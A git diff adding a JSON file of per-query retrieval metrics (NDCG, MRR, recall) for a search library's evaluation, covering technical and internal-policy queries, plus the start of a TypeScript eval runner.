true, + "ndcg10": 0.6934264036172708, + "mrr": 0.5, + "recall10": 1, + "topDocId": "cassandra-consistency", + "totalRelevant": 2 + }, + { + "query": "which protocol replaces JNDI in Log4j fixes?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "what number is RFC 6238?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mfa-totp", + "totalRelevant": 1 + }, + { + "query": "who funds maintenance for xz utils after CVE-2024-3094?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-cve-xz", + "totalRelevant": 1 + }, + { + "query": "when does Acme run quarterly access reviews?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "where is Acme's onboarding buddy assigned?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "which AWS service supports cold start metrics?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-lambda", + "totalRelevant": 1 + }, + { + "query": "what does Acme's vacation policy minimum require?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "how does HPACK compress HTTP/2 headers", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "http2", + "totalRelevant": 1 + }, + { + "query": "what is a refresh token rotation strategy", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-oauth2", + "totalRelevant": 1 + }, + { + "query": "what is BGP route hijacking", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "bgp-routing", + "totalRelevant": 1 + }, + { + "query": "what is MergeTree in ClickHouse", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "clickhouse-mergetree", + "totalRelevant": 1 + }, + { + "query": "what is a single-table design in DynamoDB", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "adr-template", + "totalRelevant": 1 + }, + { + "query": "what is WAL mode in SQLite", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "sqlite-wal", + "totalRelevant": 1 + }, + { + "query": "what is an SBOM in security", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "what is mTLS in zero trust meshes", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mtls", + "totalRelevant": 1 + }, + { + "query": "what does pg_stat_statements track", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-extensions", + "totalRelevant": 1 + }, + { + "query": "what does a fanout exchange do in RabbitMQ", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "what is the difference between a CTE and a subquery", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "what is a GIN index", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-indexes", + "totalRelevant": 1 + }, + { + "query": "how do I configure ConfigMap-driven config in K8s", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "pg-wal", + "totalRelevant": 1 + }, + { + "query": "how do I rotate Kubernetes secrets quarterly", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6934264036172708, + "mrr": 0.5, + "recall10": 1, + "topDocId": "secrets-management", + "totalRelevant": 2 + }, + { + "query": "how do I run a StatefulSet with persistent volumes", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "how do I set up an HPA with custom metrics", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-hpa", + "totalRelevant": 1 + }, + { + "query": "how do I use Tokio select to multiplex futures", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-async", + "totalRelevant": 1 + }, + { + "query": "how do I propagate context cancellation in Go", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "code-go-goroutine", + "totalRelevant": 1 + }, + { + "query": "how do I lazy load i18n bundles per locale", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "frontend-i18n", + "totalRelevant": 1 + }, + { + "query": "how do I focus trap a modal for accessibility", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "a11y-aria", + "totalRelevant": 1 + }, + { + "query": "how do I migrate from Webpack to Vite", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "how do I configure pip with uv for fast installs", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "python-virtualenv", + "totalRelevant": 2 + }, + { + "query": "how do I tune autovacuum on a partitioned table", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.23719771276929622, + "mrr": 0.2, + "recall10": 0.5, + "topDocId": "aws-s3", + "totalRelevant": 2 + }, + { + "query": "how do I write a Lua script for atomic Redis ops", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-lua", + "totalRelevant": 1 + }, + { + "query": "how do I set up Sentinel for HA Redis", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "rust-error-handling", + "totalRelevant": 1 + }, + { + "query": "go.mod replace directive", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-modules", + "totalRelevant": 1 + }, + { + "query": "context.Background context.TODO", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-context", + "totalRelevant": 1 + }, + { + "query": "tokio::task::spawn_blocking", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-async", + "totalRelevant": 1 + }, + { + "query": "anyhow::Error thiserror::Error", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-error-handling", + "totalRelevant": 1 + }, + { + "query": "mypy pyright type checking", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-typing", + "totalRelevant": 1 + }, + { + "query": "df.groupby().agg()", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-pandas", + "totalRelevant": 1 + }, + { + "query": "asyncio.run main", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-python-asyncio", + "totalRelevant": 2 + }, + { + "query": "stream.pipeline node:stream/promises", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "node-streams", + "totalRelevant": 1 + }, + { + "query": "import.meta.glob Vite", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vite-bundling", + "totalRelevant": 1 + }, + { + "query": "infer R conditional types", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ts-generics", + "totalRelevant": 1 + }, + { + "query": "fastify.register fastify-plugin", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "fastify-plugins", + "totalRelevant": 1 + }, + { + "query": "django prefetch_related", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "django-orm", + "totalRelevant": 1 + }, + { + "query": "ActiveRecord includes eager load", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rails-active-record", + "totalRelevant": 1 + }, + { + "query": "@Bean @Configuration Spring", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "spring-boot", + "totalRelevant": 1 + }, + { + "query": "@actuator/health endpoint", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "spring-boot", + "totalRelevant": 1 + }, + { + "query": "RFC 7515 JWS", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "RFC 9000 QUIC", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "exit code 137 OOMKilled", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "go-context", + "totalRelevant": 1 + }, + { + "query": "exit code 139 segfault", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "go-context", + "totalRelevant": 1 + }, + { + "query": "errno 98 EADDRINUSE", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-eaddrinuse", + "totalRelevant": 1 + }, + { + "query": "ssl: SSL_ERROR_SYSCALL", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "code-bash-pipeline", + "totalRelevant": 1 + }, + { + "query": "ENOTFOUND DNS lookup failed", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.38685280723454163, + "mrr": 0.2, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "504 Gateway Timeout upstream", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "aws-vpc", + "totalRelevant": 1 + }, + { + "query": "\"hot partition\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "dynamodb-keys", + "totalRelevant": 2 + }, + { + "query": "\"kernel cgroup\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 2 + }, + { + "query": "\"prepared statements\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "\"side effect\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.38685280723454163, + "mrr": 0.2, + "recall10": 1, + "topDocId": "auth-jwt-vs-session", + "totalRelevant": 1 + }, + { + "query": "\"feature flag\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "\"least privilege\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "design-doc-template", + "totalRelevant": 1 + }, + { + "query": "\"break-glass\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "\"gradient checkpointing\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "\"head-based sampling\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "otel-traces", + "totalRelevant": 1 + }, + { + "query": "react", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.9828920819566879, + "mrr": 1, + "recall10": 1, + "topDocId": "code-snippet", + "totalRelevant": 4 + }, + { + "query": "rust", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.7634994216714083, + "mrr": 0.5, + "recall10": 1, + "topDocId": "rust-unsafe", + "totalRelevant": 5 + }, + { + "query": "python", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.8502983370860306, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 5 + }, + { + "query": "go", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.843537875344446, + "mrr": 1, + "recall10": 0.8, + "topDocId": "go-modules", + "totalRelevant": 5 + }, + { + "query": "vault", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "k8s-secrets", + "totalRelevant": 1 + }, + { + "query": "patroni", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "tailscale", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vpn-access", + "totalRelevant": 1 + }, + { + "query": "pagerduty", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "on-call-handoff", + "totalRelevant": 1 + }, + { + "query": "okta", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "expensify", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "bamboohr", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "docker", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "docker-multistage", + "totalRelevant": 2 + }, + { + "query": "argo", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "totalRelevant": 1 + }, + { + "query": "diff between PoW and PoS without energy concerns", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "prose-poem", + "totalRelevant": 1 + }, + { + "query": "scaling without losing ordering", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "rust-ownership", + "totalRelevant": 1 + }, + { + "query": "rotate secrets without downtime", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 2 + }, + { + "query": "deploy without breaking active sessions", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "auth-jwt-vs-session", + "totalRelevant": 1 + }, + { + "query": "Postgres pooling without dropping prepared statements", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "tracing without head sampling", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "otel-traces", + "totalRelevant": 1 + }, + { + "query": "no global mutable state", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "python-virtualenv", + "totalRelevant": 2 + }, + { + "query": "Helm Recreate vs RollingUpdate", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "Docker scratch vs distroless", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "docker-multistage", + "totalRelevant": 1 + }, + { + "query": "Postgres GIN vs GiST for full text", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-indexes", + "totalRelevant": 1 + }, + { + "query": "PostgreSQL Verbindungspool konfigurieren", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "german-kubernetes", + "totalRelevant": 1 + }, + { + "query": "ストリーム削除 Kafka", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "k8s-statefulsets", + "totalRelevant": 1 + }, + { + "query": "Kubernetes RBAC 권한 ClusterRole", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "Rust 所有权 借用检查器", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "italian-rust", + "totalRelevant": 1 + }, + { + "query": "MongoDB агрегация pipeline", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mongodb-aggregation", + "totalRelevant": 1 + }, + { + "query": "AWS S3 lifecycle политика", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-s3", + "totalRelevant": 1 + }, + { + "query": "TLS 1.3 הצפנה", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 1 + }, + { + "query": "Postgres VACUUM बड़ी टेबल", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "hindi-python", + "totalRelevant": 1 + }, + { + "query": "Goroutine kênh chọn", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "vietnamese-go", + "totalRelevant": 2 + }, + { + "query": "índices em PostgreSQL B-tree GIN", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-indexes", + "totalRelevant": 1 + }, + { + "query": "what does my service mesh need to support", + "category": "ambiguous", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "rust-error-handling", + "totalRelevant": 1 + }, + { + "query": "designing a feature flag system", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.3010299956639812, + "mrr": 0.1111111111111111, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "high availability strategy", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.46927872602275644, + "mrr": 1, + "recall10": 0.3333333333333333, + "topDocId": "redis-sentinel", + "totalRelevant": 3 + }, + { + "query": "modeling a write-once read-many table", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "aws-rds", + "totalRelevant": 2 + }, + { + "query": "cost-aware compute scaling", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "code-go-goroutine", + "totalRelevant": 2 + }, + { + "query": "documenting decisions for the team", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "adr-template", + "totalRelevant": 2 + }, + { + "query": "handling spike traffic gracefully", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "node-streams", + "totalRelevant": 2 + }, + { + "query": "platform engineering golden paths", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "rust-error-handling", + "totalRelevant": 2 + }, + { + "query": "Acme on-call shadow week 1", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "Acme nit policy in code review", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "Acme expense per diem rates", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "Acme Sev0 manager escalation", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "Acme PII encryption requirements", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "log-best-practices", + "totalRelevant": 1 + }, + { + "query": "Acme audit log retention 7 years", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "code-bash-pipeline", + "totalRelevant": 1 + }, + { + "query": "Acme channel auto-archive 30 days", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "slack-channels", + "totalRelevant": 1 + }, + { + "query": "Acme ApplicationSet rollout", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "design-doc-template", + "totalRelevant": 1 + }, + { + "query": "Acme Sigstore cosign artifacts", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "Acme dashboards LCP CLS INP", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "web-perf-cwv", + "totalRelevant": 1 + }, + { + "query": "Acme runbook payments dashboard URL", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-payment-outage", + "totalRelevant": 1 + }, + { + "query": "Acme database failover patroni", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "Acme Slack incident channel pattern", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "security-incident-response", + "totalRelevant": 2 + }, + { + "query": "Acme migration compatibility forward fix", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "Acme buddy program engineering", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "PostgreSQL 中文 索引 维护", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "pg-pooling", + "totalRelevant": 2 + }, + { + "query": "RFC 9114 HTTP/3", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "RFC 5246 TLS 1.2 deprecated", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "tls-handshake", + "totalRelevant": 1 + }, + { + "query": "\"data plane\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "compliance-gdpr", + "totalRelevant": 2 + }, + { + "query": "\"control plane\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "owasp-top-10", + "totalRelevant": 2 + }, + { + "query": "vector index without exact match", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "ml-evaluation", + "totalRelevant": 1 + }, + { + "query": "auth without long-lived keys", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.7653606369886217, + "mrr": 1, + "recall10": 0.6666666666666666, + "topDocId": "gcp-iam", + "totalRelevant": 3 + }, + { + "query": "deploy without manual intervention", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "rust-ownership", + "totalRelevant": 1 + }, + { + "query": "Acme PageDuty Sev1 vs Sev0", + "category": "internal", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "Acme MFA hardware key requirement", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vpn-access", + "totalRelevant": 1 + }, + { + "query": "Acme reviewer 1 business day SLA", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "Acme deploy soak time 2 hours", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "Acme rotating signing keys", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + } + ] +} \ No newline at end of file diff --git a/evaluations/runner.ts b/evaluations/runner.ts new file mode 100644 index 0000000..c1b9910 --- /dev/null +++ b/evaluations/runner.ts @@ -0,0 +1,199 @@ +/** + * Eval runner. Indexes a corpus, runs every query, and computes + * NDCG@10 / MRR / Recall@10 — overall, per category, and per chosen strategy. + * + * The runner is deliberately implementation-agnostic: it takes an Augur + * instance so we can swap the embedder, adapter, router, or reranker + * between runs and compare. That's how we'll measure whether changes to + * signals.ts or the reranker actually help. + */ +import type { Augur, Document, RetrievalStrategy } from "@augur/core"; +import { mean, ndcgAt, reciprocalRank, recallAt } from "./metrics.js"; + +export interface EvalDoc extends Document { + id: string; + content: string; + metadata?: Record; +} + +export interface EvalQuery { + query: string; + /** Document IDs (not chunk IDs) considered relevant. */ + relevant: string[]; + /** Optional grouping label used for per-category breakdowns. */ + category?: string; + /** Optional strategy hint — used only for reporting, not graded. */ 